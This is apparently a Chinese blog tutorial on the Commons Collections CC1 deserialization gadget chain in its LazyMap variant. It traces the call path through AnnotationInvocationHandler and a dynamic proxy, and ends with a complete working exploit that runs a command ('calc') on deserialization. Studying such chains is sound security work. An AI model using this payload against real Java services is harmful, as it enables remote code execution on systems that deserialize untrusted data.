Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析

  • 前言
  • CC链分析
    • CC链1核心
    • LazyMap类
    • AnnotationInvocationHandler类
  • 完整exp:

前言

在看这篇文章前,可以看下我的上一篇文章,了解下cc链1的核心与环境配置

Java安全 CC链1分析

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链,并且用到了TransformedMap类中的方法触发了这条链transform的方法,但是还有一条链可以触发其transform方法,这条链用到了 LazyMap类

这条链用到了大量的反射与代理的知识,建议在看本文章前需要提前补充或复习

CC链分析

CC链1核心

首先我们回顾下cc链1的核心

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
    }
}

我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法,从而遍历循环直到命令执行。

LazyMap类

我们首先还是选中 transform 方法,右键选择查找用法

这次我们来到了 LazyMap 类当中的 get 方法
1707649096767.png
LazyMap类中的get方法的代码如下

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key); //关键
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

经分析得,当满足map.containsKey(key) == false时,便会执行factory对象transform方法

要想满足该语句,我们传入一个map数组中不存在的key键名即可

接下来我们看下 LazyMap 类的构造方法如下

protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = FactoryTransformer.getInstance(factory);
}

发现 get 方法中的 factory 变量是可控的,可以赋值为上文的transformerChain 对象(cc链1核心),但是该构造方法是受保护的类型,并不能直接调用创建对象

然后我们往上找到了 decorate 方法,代码如下

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

发现可以通过调用这个静态方法,获得一个 LazyMap 对象,并且 mapfactory 参数可控,这样如何获取 LazyMap 对象的问题便得到解决

我们先写一个demo试试这里的get方法是否真的可以触发cc链1

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class main2{
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);
        decorate.get("key");
    }
}

可以看到demo成功运行弹出计算器

1707649176962.png

AnnotationInvocationHandler类

接下来我们寻找如何触发 LazyMap 对象的get方法,我们同样右键查看用法,可以看到结果有很多,为了节约时间我们直接来到AnnotationInvocationHandler类

路径如下

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

1707649207381.png

AnnotationInvocationHandler类在 TransformedMap类所触发的cc链1中用到过,这里我们用到其 invoke 方法,该方法关键代码如下

public Object invoke(Object proxy, Method method, Object[] args) {
   String member = method.getName();
   Class<?>[] paramTypes = method.getParameterTypes();
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }
    // Handle annotation member accessors
    Object result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象get方法,否则会提前返回值

第一个if:

   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if:

if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将 LazyMap对象赋值给该类的 memberValues变量,我们查看构造方法,发现该方法是私有的,我们无法调用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

然后我们看一下invoke方法所属类的定义,如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ……
}

发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写 invoke 方法,并且调用使用该代理处理器代理对象方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个 代理对象,通过反射让其代理处理器为AnnotationInvocationHandler类,然后无参调用代理对象的任意方法,即可触发invoke方法

在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法

这样触发 invoke 方法的问题便解决了,接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下

Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);

接下来便是要解决——如何无参调用proxyInstance代理对象中的方法

这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法

然后我们就近在这个类中,寻找一个无参调用memberValues中方法的方法,我们往下找到了readObject方法,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环

找到readObject方法也就意味着找到了cc链1的起点

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

我们发现该语句可实现对memberValues变量中的方法实现无参调用

Object value = memberValue.getValue();

但是我们发现AnnotationInvocationHandler类是私有的,我们可以通过反射获取构造方法进而初始化,然后构造函数的memberValue变量值设置为我们的代理对象即可

整理下思路 我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance,然后又通过反射创建了一个AnnotationInvocationHandler对象,并将成员属性设置为代理对象proxyInstance,目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstancememberValues变量)实现无参调用,从而触发代理处理器AnnotationInvocationHandler类中的invoke方法,进而触发get方法,最后触发transform方法,从而实现cc链1

完整exp:

cc链1(Lazymap)完整exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc11 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动计算器
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        //使用chainedTransformer装饰HashMap生成新的Map
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        //通过反射获取AnnotationInvocationHandler类的构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的
        constructor.setAccessible(true);
        //通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);

        //创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance
        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
        //再次通过反射创建代理对象
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

运行成功弹出计算器
1707649289145.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/383251.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Structured Streaming

目录 一、概述 &#xff08;一&#xff09;基本概念 &#xff08;二&#xff09;两种处理模型 &#xff08;三&#xff09;Structured Streaming和Spark SQL、Spark Streaming关系 二、编写Structured Streaming程序的基本步骤 &#xff08;一&#xff09;实现步骤 &…

网络安全工程师技能手册(附学习路线图)

关键词&#xff1a;网络安全入门、渗透测试学习、零基础学安全、网络安全学习路线 安全是互联网公司的生命&#xff0c;也是每位网民的基本需求。现在越来越多的人对网络安全感兴趣&#xff0c;愿意投奔到网络安全事业之中&#xff0c;这是一个很好的现象。 很多对网络安全感…

Leetcode2842. 统计一个字符串的 k 子序列美丽值最大的数目

Every day a Leetcode 题目来源&#xff1a;2842. 统计一个字符串的 k 子序列美丽值最大的数目 解法1&#xff1a;哈希 数学 提示&#xff1a; 统计每个字符出现次数的个数&#xff0c;然后从大到小遍历次数 c 及其个数 num。 所有方案数相乘即为答案。 如果 k 太大&#…

【大厂AI课学习笔记】【1.6 人工智能基础知识】(4)深度学习和机器学习

关于深度学习和机器学习&#xff0c;出来包含关系之外&#xff0c;还有如上总结的知识点。 分别从特征处理、学习方法、数据依赖、硬件依赖等4个方面&#xff0c;进行了总结。 从特征处理上看&#xff1a;深度学习从数据中习得高级特征&#xff0c;并自行创建新的特征。这比普…

【AI绘图】初见·小白入门stable diffusion的初体验

首先&#xff0c;感谢赛博菩萨秋葉aaaki的整合包 上手 stable diffusion还是挺好上手的&#xff08;如果使用整合包的话&#xff09;&#xff0c;看看界面功能介绍简单写几个prompt就能生成图片了。 尝试 我在网上找了一张赛博朋克边缘行者Lucy的cos图&#xff0c;可能会侵…

[ai笔记3] ai春晚观后感-谈谈ai与艺术

欢迎来到文思源想的ai空间&#xff0c;这是技术老兵重学ai以及成长思考的第3篇分享&#xff01; 今天我们不聊技术&#xff0c;只聊感受&#xff01; 1 关于ai春晚 期待许久的ai春晚&#xff0c;但是等初一晚上观看的时候&#xff0c;或多或少还是有些失望。 首先是观看人数…

利用Python和pandas库进行股票技术分析:移动平均线和MACD指标

利用Python和pandas库进行股票技术分析&#xff1a;移动平均线和MACD指标 介绍准备工作数据准备计算移动平均线计算MACD指标结果展示完整代码演示 介绍 在股票市场中&#xff0c;技术分析是一种常用的方法&#xff0c;它通过对股票价格和交易量等历史数据的分析&#xff0c;来…

《UE5_C++多人TPS完整教程》学习笔记7 ——《P8 为项目配置 Steam(Configuring A Project for Steam)》

本文为B站系列教学视频 《UE5_C多人TPS完整教程》 —— 《P8 为项目配置 Steam&#xff08;Configuring A Project for Steam&#xff09;》 的学习笔记&#xff0c;该系列教学视频为 Udemy 课程 《Unreal Engine 5 C Multiplayer Shooter》 的中文字幕翻译版&#xff0c;UP主&…

数据结构——6.1 图的基本概念

第六章 图 6.1 图的基本概念 概念 图的概念&#xff1a;G由点集V和边集E构成&#xff0c;记为G(V,E)&#xff0c;边集可以为空&#xff0c;但是点集不能为空 注意&#xff1a;线性表可以是空表&#xff0c;树可以是空树&#xff0c;但图不可以是空&#xff0c;即V一定是非空集…

《动手学深度学习(PyTorch版)》笔记8.5

注&#xff1a;书中对代码的讲解并不详细&#xff0c;本文对很多细节做了详细注释。另外&#xff0c;书上的源代码是在Jupyter Notebook上运行的&#xff0c;较为分散&#xff0c;本文将代码集中起来&#xff0c;并加以完善&#xff0c;全部用vscode在python 3.9.18下测试通过&…

基于Linux操作系统的Docker容器安装MySQL随笔

1、在Linux上安装Docker容器 cd /etc/yum.repos.d/ curl -O https://download.docker.com/linux/centos/docker-ce.repo sed -i s/$releasever/8/g docker-ce.repo yum install -y docker-ce 2、修改Docker默认镜像仓库&#xff0c;然后启动Docker容器 sudo mkdir -p /etc/do…

栈和队列(Stack、Queue)

目录 前言&#xff1a; 栈&#xff1a; 栈的方法&#xff1a; 栈的源码&#xff1a; 队列&#xff1a; Queue和Deque接口&#xff1a; 队列的一些方法&#xff1a; Queue源码&#xff1a; 双端队列&#xff1a; 总结&#xff1a; 前言&#xff1a; 栈其实就是吃了吐…

ChatGPT4 教你如何完成SQL的实践应用

对数据库的各项应用与操作都离不开SQL来对数据进行增删改查。 例如 &#xff1a; 有一张某公司职员信息表如下&#xff1a; 需求1&#xff1a;在公司职员信息表中&#xff0c;请统计各部门&#xff0c;各岗位下的员工人数。 如果这个SQL语句不会写或者不知道怎么操作可以交给…

蓝桥杯2023年真题(1)

1.分糖果 #include <iostream> using namespace std; int a 9, b 16, c 7, d 2, e 5; int ans 0; //u是当前第几个分糖果的小朋友&#xff0c;x和y是还剩的糖果 void dfs(int u, int x, int y){if(u > c){//如果都为0&#xff0c;就是已经分完了if(!x &&…

【MySQL】—— 学习日期函数计算员工入职时间并进行倒排

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-Rry9CmFGqnDVdoiQ {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

vue之elementUi的el-select同时获取value和label的两种方法

一、通过ref的形式&#xff08;推荐&#xff09; <template><div class"root"><el-selectref"optionRef"v-model"value"placeholder"请选择"style"width: 250px"><el-optionv-for"item in optio…

Java:集合以及集合进阶 --黑马笔记

一、集合概述和分类 1.1 集合的分类 除了ArrayList集合&#xff0c;Java还提供了很多种其他的集合&#xff0c;如下图所示&#xff1a; 我想你的第一感觉是这些集合好多呀&#xff01;但是&#xff0c;我们学习时会对这些集合进行分类学习&#xff0c;如下图所示&#xff1a;…

Spring AI - 使用向量数据库实现检索式AI对话

Spring AI - 使用向量数据库实现检索式AI对话 Spring AI 并不仅限于针对大语言模型对话API进行了统一封装&#xff0c;它还可以通过简单的方式实现LangChain的一些功能。本篇将带领读者实现一个简单的检索式AI对话接口。 一、需求背景 在一些场景下&#xff0c;我们想让AI根据…

【python】网络爬虫与信息提取--requests库

导学 当一个软件想获得数据&#xff0c;那么我们只有把网站当成api就可以 requests库:自动爬取HTML页面&#xff0c;自动网络请求提交 robots协议&#xff1a;网络爬虫排除标准&#xff08;网络爬虫的规则&#xff09; beautiful soup库&#xff1a;解析HTML页面 工具&…

【安装记录】安装 netperf 和 perf

这是一篇发疯随笔X.X 我的环境是虚拟机debian12&#xff0c;出于种种原因&#xff0c;之前直接使用apt-get install netperf apt-get install perf指令直接安装&#xff0c;报错找不到包 然后上网搜了一堆教程&#xff0c;有说下载netperf源码编译的&#xff0c;那些教程里面有…